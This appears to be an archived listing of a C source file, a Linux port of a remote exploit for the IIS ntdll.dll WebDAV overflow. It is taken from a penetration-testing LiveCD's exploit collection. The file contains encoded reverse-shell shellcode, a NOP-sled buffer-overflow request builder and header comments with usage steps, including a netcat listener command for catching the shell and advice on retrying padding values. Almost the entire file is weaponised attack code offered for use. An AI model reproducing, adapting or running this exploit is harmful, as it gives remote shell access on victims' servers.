home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / linux-wb.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  249 lines

  1. /*******************************************************************/
  2. /*     [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]     */
  3. /* --------------------------------------------------------------- */
  4. /*     this is the exploit for ntdll.dll through WebDAV.           */
  5. /*     run a netcat ex: nc -L -vv -p 666                           */
  6. /*     wb server.com your_ip 666 0                                 */
  7. /*     the shellcode is a reverse remote shell                     */
  8. /*     you need to pad a bit.. the best way I think is launching   */
  9. /*     the exploit with pad = 0 and after that, the server will be */
  10. /*     down for a couple of seconds, now retry with pad at 1       */
  11. /*     and so on..pad 2.. pad 3.. if you haven't the shell after   */
  12. /*     something like pad at 10 I think you better to restart from */
  13. /*     pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
  14. /*     on all the others servers it was at 2,3,4, etc..sometimes   */
  15. /*     you can have the force with you, and get the shell in 1 try */
  16. /*     sometimes you need to pad more than 10 times ;)             */
  17. /*     the shellcode was coded by myself, it is SEH + ScanMem to   */
  18. /*     find the famous offsets (GetProcAddress)..                  */
  19. /*     I know I code like a pig, my english sucks, and my tech too */
  20. /*     it is my first exploit..and my first shellcode..sorry :P    */
  21. /*     if you have comments feel free to mail me at:               */
  22. /*     mailto: kralor@coromputer.net                               */
  23. /*     or visit us at www.coromputer.net . You can speak with us   */
  24. /*     at IRC undernet channel #coromputer                         */
  25. /*     ok now the greetz:                                          */
  26. /*     [El0d1e] to help me find some information about the bug :)  */
  27. /*     tuck_ to support me ;)                                      */
  28. /*     and all my friends in coromputer crew! hein les poulets! =) */
  29. /*******************************************************************/
  30.  
  31. //Ported to Linux by Dotcom
  32.  
  33. //Milles temps merci a kralor pour cette excellent truc 
  34. //et pour me forcer a apprendre assembler :o)
  35. //Note for script kiddies: nc -L isn't quite working on Linuxes ;)
  36. //my lucky PAD no was 3
  37. #include <sys/socket.h>
  38. #include <stdlib.h>
  39. #include <stdio.h>
  40. #include <netinet/in.h>
  41. #include <netdb.h>
  42. #include <arpa/inet.h>
  43. #include <sys/types.h>
  44. #include <string.h>
  45.  
  46. char shellc0de[] =
  47.         "\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
  48.         "\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
  49.         "\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
  50.         "\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
  51.         "\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
  52.         "\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
  53.         "\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
  54.         "\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
  55.         "\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
  56.         "\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
  57.         "\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
  58.         "\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
  59.         "\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
  60.         "\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
  61.         "\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
  62.         "\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
  63.         "\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
  64.         "\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
  65.         "\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
  66.         "\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
  67.         "\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
  68.         "\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
  69.         "\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
  70.         "\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
  71.         "\xff\xd0"
  72.         "CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
  73.         "connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
  74.         "cmd" // don't change anything..
  75.         "\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
  76.         "\x00\x00\xe8\x77"
  77.         "\x00\x00\xf0\x77"
  78.         "\x00\x00\xe4\x77"
  79.         "\x00\x88\x3e\x04" // win2k3
  80.         "\x00\x00\xf7\xbf" // win9x =P
  81.         "\xff\xff\xff\xff";
  82.  
  83. int test_host(char *host)
  84. {
  85.       char search[100]="";
  86.       int sock;
  87.       struct hostent *heh;
  88.       struct sockaddr_in hmm;
  89.       char buf[100] ="";
  90.  
  91.       if(strlen(host)>60) {
  92.             printf("error: victim host too long.\r\n");
  93.             return 1;
  94.       }
  95.  
  96.   if ((heh = gethostbyname(host))==0){
  97.     printf("error: can't resolve '%s'",host);
  98.     return 1;
  99.   }
  100.  
  101.   sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
  102.   hmm.sin_port = htons(80);
  103.   hmm.sin_family = AF_INET;
  104.   hmm.sin_addr = *((struct in_addr *)heh->h_addr);
  105.  
  106.   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  107.     printf("error: can't create socket");
  108.     return 1;
  109.   }
  110.  
  111.   printf("Checking WebDav on '%s' ... ",host);
  112.  
  113.   if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
  114.     printf("CONNECTING_ERROR\r\n");
  115.     return 1;
  116.   }
  117.       send(sock,search,strlen(search),0);
  118.       recv(sock,buf,sizeof(buf),0);
  119. if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
  120.       return 0;
  121.       printf("NOT FOUND\r\n");
  122.       return 1;
  123. }
  124.  
  125. void help(char *program)
  126. {
  127.       printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program);
  128.       return;
  129. }
  130.  
  131. void banner(void)
  132. {
  133.       printf("\r\n\t  [Crpt] ntdll.dll exploit trough WebDAV by kralor
  134. [Crpt]\r\n");
  135.       printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
  136.       return;
  137. }
  138.  
  139. void main(int argc, char *argv[])
  140. {
  141.       
  142.       unsigned short port=0;
  143.       char *port_to_shell="", *ip1="", data[50]="";
  144.       unsigned int i,j;
  145.       unsigned int ip = 0 ;
  146.       int s, PAD=0x10;
  147.       struct hostent *he;
  148.       struct sockaddr_in crpt;
  149.       char buffer[65536] ="";
  150.       char request[80000];    // huuuh, what a mess! :)
  151.       char content[] =
  152.            "<?xml version=\"1.0\"?>\r\n"
  153.            "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
  154.            "<g:sql>\r\n"
  155.            "Select \"DAV:displayname\" from scope()\r\n"
  156.            "</g:sql>\r\n"
  157.            "</g:searchrequest>\r\n";
  158.  
  159.       banner();
  160.       if((argc<4)||(argc>5)) {
  161.             help(argv[0]);
  162.             return;
  163.       }
  164.  
  165. if(test_host(argv[1]))
  166.       return;
  167.  
  168. if(argc==5)
  169.       PAD+=atoi(argv[4]);
  170.  
  171. printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);
  172.  
  173.       ip = inet_addr(argv[2]); ip1 = (char*)&ip;
  174.  
  175. shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2];
  176. shellc0de[451]=ip1[3];
  177.  
  178.       port = htons(atoi(argv[3]));
  179.       port_to_shell = (char *) &port;
  180.       shellc0de[446]=port_to_shell[0];
  181.       shellc0de[447]=port_to_shell[1];
  182.  
  183. // we xor the shellcode [xored by 0x95 to avoid bad chars]
  184. //damned f*cking assembler!!!
  185. //who the hell u think is going to port this into GCC compatible stuff????
  186.  __asm__ (
  187.   "lea      shellc0de,%eax\n"
  188.              "add     $0x34,%eax\n"
  189.             "xor     %ecx, %ecx\n"
  190.              "mov      $0x1b0,%cx\n"
  191.              "wah:             \n"
  192.             " xorl     $0x95, (%eax)\n"
  193.             " inc     %eax\n"
  194.         "loop wah");
  195. //anybody says dotcom doesn't know assembler hacks????????
  196.  
  197.  
  198.   if ((he = gethostbyname(argv[1]))==0){
  199.     printf("error: can't resolve '%s'",argv[1]);
  200.     return;
  201.   }
  202.  
  203.   crpt.sin_port = htons(80);
  204.   crpt.sin_family = AF_INET;
  205.   crpt.sin_addr = *((struct in_addr *)he->h_addr);
  206.  
  207.   if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  208.     printf("error: can't create socket");
  209.     return;
  210.   }
  211.  
  212.   printf("Connecting... ");
  213.  
  214.   if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
  215.     printf("ERROR\r\n");
  216.     return;
  217.   }
  218. // No Operation.
  219. for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
  220. // fill the buffer with the shellcode
  221. for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
  222. // well..it is not necessary..
  223. for(i=0;i<2500;buffer[i]=PAD,i++);
  224.  
  225. /* we can simply put our ret in this 2 offsets.. */
  226. //buffer[2086]=PAD;
  227. //buffer[2085]=PAD;
  228.  
  229.       buffer[sizeof(buffer)]=0x00;
  230.       memset(request,0,sizeof(request));
  231.       memset(data,0,sizeof(data));
  232.       sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
  233.       sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
  234.       printf("CONNECTED\r\nSending evil request... ");
  235.       send(s,request,strlen(request),0);
  236.       send(s,content,strlen(content),0);
  237.       printf("SENT\r\n");
  238.       recv(s,data,sizeof(data),0);
  239.       if(data[0]!=0x00) {
  240.       printf("Server seems to be patched.\r\n");
  241.       printf("data: %s\r\n",data);
  242.       } else
  243.       printf("Now if you are lucky you will get a shell.\r\n");
  244.       close(s);
  245.       return;
  246. }
  247.  
  248.  
  249.